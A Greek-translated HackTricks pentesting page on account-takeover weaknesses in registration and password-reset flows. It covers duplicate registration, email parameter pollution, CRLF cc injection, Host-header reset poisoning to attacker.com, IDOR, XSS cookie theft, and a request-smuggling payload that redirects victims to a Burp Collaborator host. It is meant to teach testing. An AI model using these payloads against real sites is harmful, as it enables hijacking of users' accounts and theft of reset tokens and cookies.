hacktricks/pentesting-web/registration-vulnerabilities.md

15 KiB
Raw Blame History

Εγγραφές & Ευπάθειες Κατάληψης

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}

WhiteIntel

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark-web και προσφέρει δωρεάν λειτουργίες για να ελέγξει αν μια εταιρεία ή οι πελάτες της έχουν παραβιαστεί από stealer malwares.

Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

{% embed url="https://whiteintel.io" %}


Κατάληψη Εγγραφής

Διπλή Εγγραφή

  • Προσπαθήστε να δημιουργήσετε χρησιμοποιώντας ένα υπάρχον όνομα χρήστη
  • Ελέγξτε ποικιλία στο email:
  • κεφαλαία
  • +1@
  • προσθέστε κάποιο τελεία στο email
  • ειδικούς χαρακτήρες στο όνομα email (%00, %09, %20)
  • Βάλτε μαύρους χαρακτήρες μετά το email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Αριθμητική Εξαγωγή Ονομάτων Χρηστών

Ελέγξτε αν μπορείτε να καταλάβετε πότε ένα όνομα χρήστη έχει ήδη εγγραφεί μέσα στην εφαρμογή.

Πολιτική Κωδικών Πρόσβασης

Δημιουργώντας έναν χρήστη ελέγξτε την πολιτική κωδικών πρόσβασης (ελέγξτε αν μπορείτε να χρησιμοποιήσετε αδύναμους κωδικούς).
Σε αυτή την περίπτωση μπορείτε να προσπαθήσετε να κάνετε bruteforce τα διαπιστευτήρια.

SQL Injection

Ελέγξτε αυτή τη σελίδα για να μάθετε πώς να προσπαθήσετε καταλήψεις λογαριασμών ή να εξάγετε πληροφορίες μέσω SQL Injections σε φόρμες εγγραφής.

Oauth Καταλήψεις

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Ευπάθειες SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Αλλαγή Email

Όταν εγγραφείτε προσπαθήστε να αλλάξετε το email και ελέγξτε αν αυτή η αλλαγή επικυρώνεται σωστά ή αν μπορείτε να την αλλάξετε σε αυθαίρετα emails.

Περισσότεροι Έλεγχοι

  • Ελέγξτε αν μπορείτε να χρησιμοποιήσετε disposable emails
  • Μακρύς κωδικός (>200) οδηγεί σε DoS
  • Ελέγξτε τα όρια ρυθμού στη δημιουργία λογαριασμών
  • Χρησιμοποιήστε username@burp_collab.net και αναλύστε το callback

Κατάληψη Επαναφοράς Κωδικού Πρόσβασης

Διαρροή Token Επαναφοράς Κωδικού μέσω Referrer

  1. Ζητήστε επαναφορά κωδικού στο email σας
  2. Κάντε κλικ στον σύνδεσμο επαναφοράς κωδικού
  3. Μην αλλάξετε τον κωδικό
  4. Κάντε κλικ σε οποιαδήποτε 3η ιστοσελίδα (π.χ.: Facebook, twitter)
  5. Παρεμβάλετε το αίτημα στο Burp Suite proxy
  6. Ελέγξτε αν η κεφαλίδα referer διαρρέει το token επαναφοράς κωδικού.

Δηλητηρίαση Επαναφοράς Κωδικού

  1. Παρεμβάλετε το αίτημα επαναφοράς κωδικού στο Burp Suite
  2. Προσθέστε ή επεξεργαστείτε τις παρακάτω κεφαλίδες στο Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Προωθήστε το αίτημα με την τροποποιημένη κεφαλίδα
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Αναζητήστε μια διεύθυνση URL επαναφοράς κωδικού βασισμένη στην κεφαλίδα host όπως : https://attacker.com/reset-password.php?token=TOKEN

Επαναφορά Κωδικού μέσω Παραμέτρου Email

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. Ο επιτιθέμενος πρέπει να συνδεθεί με τον λογαριασμό του και να μεταβεί στη λειτουργία Αλλαγή κωδικού πρόσβασης.
  2. Ξεκινήστε το Burp Suite και παγιδεύστε το αίτημα.
  3. Στείλτε το στην καρτέλα επαναλήπτη και επεξεργαστείτε τις παραμέτρους: User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

Το token επαναφοράς κωδικού πρόσβασης θα πρέπει να δημιουργείται τυχαία και να είναι μοναδικό κάθε φορά.
Προσπαθήστε να προσδιορίσετε αν το token λήγει ή αν είναι πάντα το ίδιο, σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να μαντευτεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιηθούν από τον αλγόριθμο.

  • Timestamp
  • UserID
  • Email του χρήστη
  • Όνομα και Επώνυμο
  • Ημερομηνία Γέννησης
  • Κρυπτογραφία
  • Μόνο αριθμοί
  • Μικρή ακολουθία token (χαρακτήρες μεταξύ [A-Z,a-z,0-9])
  • Επαναχρησιμοποίηση token
  • Ημερομηνία λήξης token

Leaking Password Reset Token

  1. Προκαλέστε ένα αίτημα επαναφοράς κωδικού πρόσβασης χρησιμοποιώντας το API/UI για μια συγκεκριμένη διεύθυνση email π.χ: test@mail.com
  2. Εξετάστε την απάντηση του διακομιστή και ελέγξτε για resetToken
  3. Στη συνέχεια, χρησιμοποιήστε το token σε μια διεύθυνση URL όπως https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. Εγγραφείτε στο σύστημα με ένα όνομα χρήστη ταυτόσημο με το όνομα χρήστη του θύματος, αλλά με κενά διαστήματα πριν και/ή μετά το όνομα χρήστη. π.χ: "admin "
  2. Ζητήστε μια επαναφορά κωδικού πρόσβασης με το κακόβουλο όνομα χρήστη σας.
  3. Χρησιμοποιήστε το token που στάλθηκε στο email σας και επαναφέρετε τον κωδικό πρόσβασης του θύματος.
  4. Συνδεθείτε στον λογαριασμό του θύματος με τον νέο κωδικό πρόσβασης.

Η πλατφόρμα CTFd ήταν ευάλωτη σε αυτήν την επίθεση.
Δείτε: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. Βρείτε ένα XSS μέσα στην εφαρμογή ή σε μια υποτομέα αν τα cookies είναι περιορισμένα στον γονικό τομέα: *.domain.com
  2. Διαρρεύστε το τρέχον cookie συνεδρίας
  3. Αυθεντικοποιηθείτε ως ο χρήστης χρησιμοποιώντας το cookie

Account Takeover Via HTTP Request Smuggling

1. Χρησιμοποιήστε smuggler για να ανιχνεύσετε τον τύπο HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Δημιουργήστε ένα αίτημα που θα αντικαταστήσει το POST / HTTP/1.1 με τα παρακάτω δεδομένα:
GET http://something.burpcollaborator.net HTTP/1.1 X: με στόχο να ανοίξετε ανακατεύθυνση των θυμάτων στο burpcollab και να κλέψετε τα cookies τους
3. Το τελικό αίτημα θα μπορούσε να μοιάζει με το εξής

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Account Takeover via CSRF

  1. Δημιουργήστε ένα payload για το CSRF, π.χ: “HTML φόρμα με αυτόματη υποβολή για αλλαγή κωδικού”
  2. Στείλτε το payload

Account Takeover via JWT

Το JSON Web Token μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση ενός χρήστη.

  • Επεξεργαστείτε το JWT με άλλο User ID / Email
  • Ελέγξτε για αδύναμη υπογραφή JWT

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

References

WhiteIntel

WhiteIntel είναι μια dark-web μηχανή αναζήτησης που προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν παραβιαστεί από stealer malwares.

Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις παραβιάσεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}